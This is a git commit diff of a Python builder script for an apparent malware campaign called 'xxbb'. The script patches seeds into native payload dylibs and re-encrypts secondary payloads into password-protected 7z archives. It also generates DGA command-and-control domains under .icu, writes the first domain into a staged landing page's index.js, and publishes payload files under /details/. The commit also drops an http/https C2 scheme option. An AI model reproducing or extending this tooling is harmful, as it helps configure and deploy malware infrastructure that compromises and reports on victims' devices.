feat: xxbb
This commit is contained in:
+117
-117
@@ -1,14 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
|
||||
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
|
||||
|
||||
Artifact layout (shared, not per-channel folders):
|
||||
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
|
||||
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
|
||||
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
|
||||
|
||||
Artifact layout:
|
||||
{artifact-root}/details/ served landing /details/
|
||||
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
|
||||
|
||||
Seed resolution (same idea as channel-builder/tools/new_project.py):
|
||||
1. both --deployment-seed and --reporting-seed
|
||||
2. else {state-root}/lab_seeds.json
|
||||
3. else random generate + write lab_seeds.json
|
||||
|
||||
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -24,6 +28,7 @@ from pathlib import Path
|
||||
|
||||
from _details_pack import extract_member, make_passworded_7z
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
|
||||
from reproduce_xxbb_dga import generate_domains
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
@@ -36,12 +41,13 @@ SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
|
||||
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
|
||||
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
||||
LAB_SEEDS_NAME = "lab_seeds.json"
|
||||
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
|
||||
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
WEIFILE_ROOT = "weifile"
|
||||
DETAILS_ROOT = "details"
|
||||
LANDING_NAME = "weifile.html"
|
||||
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
|
||||
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
|
||||
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
|
||||
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
|
||||
CORE_WIRE_NAME = "corepayload.js"
|
||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||
SHOW_WIRE_NAME = "show.html"
|
||||
@@ -83,6 +89,7 @@ RESERVED_CHANNEL_NAMES = frozenset(
|
||||
"channel",
|
||||
"out",
|
||||
"t",
|
||||
"nb",
|
||||
"a",
|
||||
"u",
|
||||
"uj",
|
||||
@@ -138,62 +145,6 @@ def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect
|
||||
return count
|
||||
|
||||
|
||||
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
|
||||
HTTPS_CSTRINGS = (
|
||||
b"https://backup%u.icu",
|
||||
b"https://%@",
|
||||
b"https://",
|
||||
b"https",
|
||||
)
|
||||
|
||||
|
||||
def http_cstring(https_s: bytes) -> bytes:
|
||||
if not https_s.startswith(b"https"):
|
||||
raise SystemExit(f"not an https C-string: {https_s!r}")
|
||||
return b"http" + https_s[5:]
|
||||
|
||||
|
||||
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
|
||||
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
|
||||
if b"\x00" in old or b"\x00" in new:
|
||||
raise SystemExit(f"{label}: C-string must not contain NUL")
|
||||
if len(new) > len(old):
|
||||
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
|
||||
old_c = old + b"\x00"
|
||||
new_c = new + b"\x00" * (len(old_c) - len(new))
|
||||
count = 0
|
||||
start = 0
|
||||
while True:
|
||||
index = buf.find(old_c, start)
|
||||
if index < 0:
|
||||
break
|
||||
buf[index : index + len(old_c)] = new_c
|
||||
count += 1
|
||||
start = index + len(old_c)
|
||||
if count != expect:
|
||||
raise SystemExit(
|
||||
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
|
||||
f"count={count} (want {expect})"
|
||||
)
|
||||
return count
|
||||
|
||||
|
||||
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
|
||||
if scheme == "https":
|
||||
for old in HTTPS_CSTRINGS:
|
||||
if buf.find(old + b"\x00") < 0:
|
||||
raise SystemExit(f"{label}: missing {old.decode()}\\0")
|
||||
return
|
||||
if scheme != "http":
|
||||
raise SystemExit("--scheme must be http or https")
|
||||
for old in HTTPS_CSTRINGS:
|
||||
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
|
||||
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
|
||||
raise SystemExit(f"{label}: https URL formats still present")
|
||||
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
|
||||
raise SystemExit(f"{label}: http URL formats missing after patch")
|
||||
|
||||
|
||||
def sha256_hex(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
@@ -204,10 +155,40 @@ def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
|
||||
|
||||
def load_keys() -> dict:
|
||||
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
|
||||
meta = json.loads(SECONDARY_KEYS.read_text())
|
||||
stems = meta.get("stems")
|
||||
if not isinstance(stems, dict) or not stems:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
|
||||
helper_hex = meta.get("helper_key")
|
||||
if not isinstance(helper_hex, str) or not helper_hex:
|
||||
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
|
||||
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
|
||||
try:
|
||||
discovered = discover_secondary_stems(
|
||||
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
|
||||
)
|
||||
except Exception as exc:
|
||||
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
|
||||
|
||||
hash_to_group: dict[str, str] = {}
|
||||
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
|
||||
digest = sha256_hex(path.read_bytes())
|
||||
group = path.name.split("_")[1]
|
||||
if digest in hash_to_group and hash_to_group[digest] != group:
|
||||
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
|
||||
hash_to_group[digest] = group
|
||||
if not hash_to_group:
|
||||
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
|
||||
|
||||
stems: dict[str, dict] = {}
|
||||
for stem, info in discovered.items():
|
||||
group = hash_to_group.get(info["sha256"])
|
||||
if not group:
|
||||
raise SystemExit(
|
||||
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
|
||||
)
|
||||
stems[stem] = {"key": info["key"], "group": group}
|
||||
if not stems:
|
||||
raise SystemExit("discovered zero type-0x01 secondaries")
|
||||
meta["stems"] = stems
|
||||
return meta
|
||||
|
||||
|
||||
@@ -225,13 +206,11 @@ def patch_dylib(
|
||||
reporting_seed: str,
|
||||
channel_c: str,
|
||||
label: str,
|
||||
scheme: str = "https",
|
||||
) -> bytes:
|
||||
buf = bytearray(data)
|
||||
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
|
||||
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
|
||||
patch_url_scheme(buf, scheme=scheme, label=label)
|
||||
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
|
||||
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
|
||||
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
|
||||
@@ -306,11 +285,28 @@ def build_details(
|
||||
}
|
||||
|
||||
|
||||
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
|
||||
text = html_path.read_text(encoding="utf-8")
|
||||
if CHANNEL_HTML_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
|
||||
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
|
||||
def normalize_channel_code(value: str) -> str:
|
||||
code = (value or "").strip().upper()
|
||||
if not CHANNEL_CODE_RE.fullmatch(code):
|
||||
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
|
||||
if code.lower() in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-code {code!r} is reserved")
|
||||
return code
|
||||
|
||||
|
||||
def patch_index_js_host(text: str, host: str) -> str:
|
||||
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
|
||||
if not XXBB_DGA_HOST_RE.fullmatch(host):
|
||||
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
|
||||
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
|
||||
|
||||
|
||||
def new_channel_c() -> str:
|
||||
while True:
|
||||
value = gen_seed()
|
||||
if value != SEVEN_ZIP_PASSWORD:
|
||||
return value
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
@@ -319,15 +315,6 @@ def copy_tree(src: Path, dst: Path) -> None:
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
|
||||
|
||||
|
||||
def validate_channel_name(value: str) -> str:
|
||||
name = (value or "").strip().lower()
|
||||
if not CHANNEL_NAME_RE.fullmatch(name):
|
||||
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
|
||||
if name in RESERVED_CHANNEL_NAMES:
|
||||
raise SystemExit(f"--channel-name {name!r} is reserved")
|
||||
return name
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
return secrets.token_hex(16)
|
||||
|
||||
@@ -419,15 +406,23 @@ def resolve_seeds(
|
||||
cli_dep: str | None,
|
||||
cli_rep: str | None,
|
||||
cli_c: str | None,
|
||||
random_c: bool = False,
|
||||
) -> tuple[str, str, str, dict, bool]:
|
||||
"""Return dep, rep, channel_c, domains, seeds_initialized."""
|
||||
if bool(cli_dep) ^ bool(cli_rep):
|
||||
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
||||
if random_c and (cli_c or "").strip():
|
||||
raise SystemExit("use either --channel-c or --random-c, not both")
|
||||
|
||||
existing = load_lab_seeds(lab_seeds_path)
|
||||
channel_c = (cli_c or "").strip() or (
|
||||
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
|
||||
)
|
||||
if random_c:
|
||||
channel_c = new_channel_c()
|
||||
elif (cli_c or "").strip():
|
||||
channel_c = cli_c.strip()
|
||||
elif existing and existing.get("channel_c"):
|
||||
channel_c = str(existing["channel_c"])
|
||||
else:
|
||||
channel_c = new_channel_c()
|
||||
pack_ascii32("--channel-c", channel_c)
|
||||
if channel_c == SEVEN_ZIP_PASSWORD:
|
||||
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
|
||||
@@ -479,50 +474,45 @@ def default_state_root() -> Path:
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
|
||||
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
||||
parser.add_argument(
|
||||
"--channel-c",
|
||||
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
|
||||
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--channel-name",
|
||||
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
|
||||
"--random-c",
|
||||
action="store_true",
|
||||
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--artifact-root",
|
||||
type=Path,
|
||||
default=PROJECT_ROOT / "public",
|
||||
help="directory that will contain weifile/ and details/",
|
||||
help="directory that will contain details/ (default: ../public)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
|
||||
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--out",
|
||||
type=Path,
|
||||
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
|
||||
help="intermediate .min.js / dylibs (default: <state-root>/out)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="write shared {artifact}/weifile/ and {artifact}/details/",
|
||||
help="write {artifact}/details/ and {state}/out/weifile/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--force",
|
||||
action="store_true",
|
||||
help="replace existing weifile/ and details/ (default with --apply)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scheme",
|
||||
choices=("http", "https"),
|
||||
default="https",
|
||||
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
|
||||
help="replace existing details/ and staged weifile (default with --apply)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
@@ -533,12 +523,9 @@ def main() -> int:
|
||||
cli_dep=args.deployment_seed,
|
||||
cli_rep=args.reporting_seed,
|
||||
cli_c=args.channel_c,
|
||||
random_c=args.random_c,
|
||||
)
|
||||
|
||||
# Optional legacy flag; shared layout no longer uses per-channel folders.
|
||||
if args.channel_name:
|
||||
validate_channel_name(args.channel_name)
|
||||
|
||||
meta = load_keys()
|
||||
stems = meta["stems"]
|
||||
groups = sorted({info["group"] for info in stems.values()})
|
||||
@@ -552,7 +539,6 @@ def main() -> int:
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme=args.scheme,
|
||||
)
|
||||
patched[group] = data
|
||||
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
|
||||
@@ -585,13 +571,15 @@ def main() -> int:
|
||||
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
|
||||
)
|
||||
|
||||
weifile_path = ""
|
||||
weifile_path = None
|
||||
details_path = ""
|
||||
staged_weifile = ""
|
||||
iptj_host = ""
|
||||
|
||||
if args.apply:
|
||||
artifact = args.artifact_root.resolve()
|
||||
dest_weifile = artifact / WEIFILE_ROOT
|
||||
dest_details = artifact / DETAILS_ROOT
|
||||
# Shared trees are always replaced on --apply.
|
||||
dest_weifile = state_root / "out" / WEIFILE_ROOT
|
||||
if not SOURCE_WEIFILE.is_dir():
|
||||
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
@@ -600,7 +588,6 @@ def main() -> int:
|
||||
landing = dest_weifile / LANDING_NAME
|
||||
if not landing.is_file():
|
||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||
inject_channel_into_weifile(landing, channel_c)
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||
@@ -609,11 +596,24 @@ def main() -> int:
|
||||
dst = dest_weifile / src.name
|
||||
shutil.copy2(src, dst)
|
||||
print(f"applied -> {dst}")
|
||||
print(f"applied weifile -> {dest_weifile}")
|
||||
hosts = list(domains.get("deployment") or [])
|
||||
if not hosts:
|
||||
raise SystemExit("no DGA domains computed from channel_c")
|
||||
iptj_host = hosts[0]
|
||||
index_path = dest_weifile / "index.js"
|
||||
if not index_path.is_file():
|
||||
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
|
||||
index_path.write_text(
|
||||
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
|
||||
encoding="utf-8",
|
||||
)
|
||||
print(f"staged weifile -> {dest_weifile}")
|
||||
print(f"applied details -> {dest_details}")
|
||||
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
|
||||
print(f"index.js iptj host -> {iptj_host}")
|
||||
details_path = f"/{DETAILS_ROOT}/"
|
||||
staged_weifile = str(dest_weifile)
|
||||
|
||||
print(f"XXBB_CHANNEL_C={channel_c}")
|
||||
print("deployment domains:")
|
||||
for i, domain in enumerate(domains.get("deployment") or [], 1):
|
||||
print(f" {i:03d} {domain}")
|
||||
@@ -624,10 +624,11 @@ def main() -> int:
|
||||
result = {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_name": None,
|
||||
"weifile_path": weifile_path or None,
|
||||
"support_path": weifile_path or None,
|
||||
"weifile_path": weifile_path,
|
||||
"support_path": None,
|
||||
"details_path": details_path or None,
|
||||
"staged_weifile": staged_weifile or None,
|
||||
"iptj_host": iptj_host or None,
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": bool(args.apply),
|
||||
"domains": domains,
|
||||
@@ -638,15 +639,14 @@ def main() -> int:
|
||||
},
|
||||
"seven_zip_password": SEVEN_ZIP_PASSWORD,
|
||||
"files": built,
|
||||
"stem_count": len(built),
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
"details": details_meta,
|
||||
"scheme": args.scheme,
|
||||
"notes": [
|
||||
"secondary + corepayload c patched; domains follow channel_c DGA",
|
||||
"shared artifact paths: /weifile/weifile.html and /details/",
|
||||
"index.js iptj URL / channelCode not patched",
|
||||
"details published to /details/; weifile staged under state-root/out/weifile",
|
||||
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
|
||||
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
|
||||
f"native DGA/C2 scheme={args.scheme}",
|
||||
],
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
|
||||
|
||||
Reference in New Issue
Block a user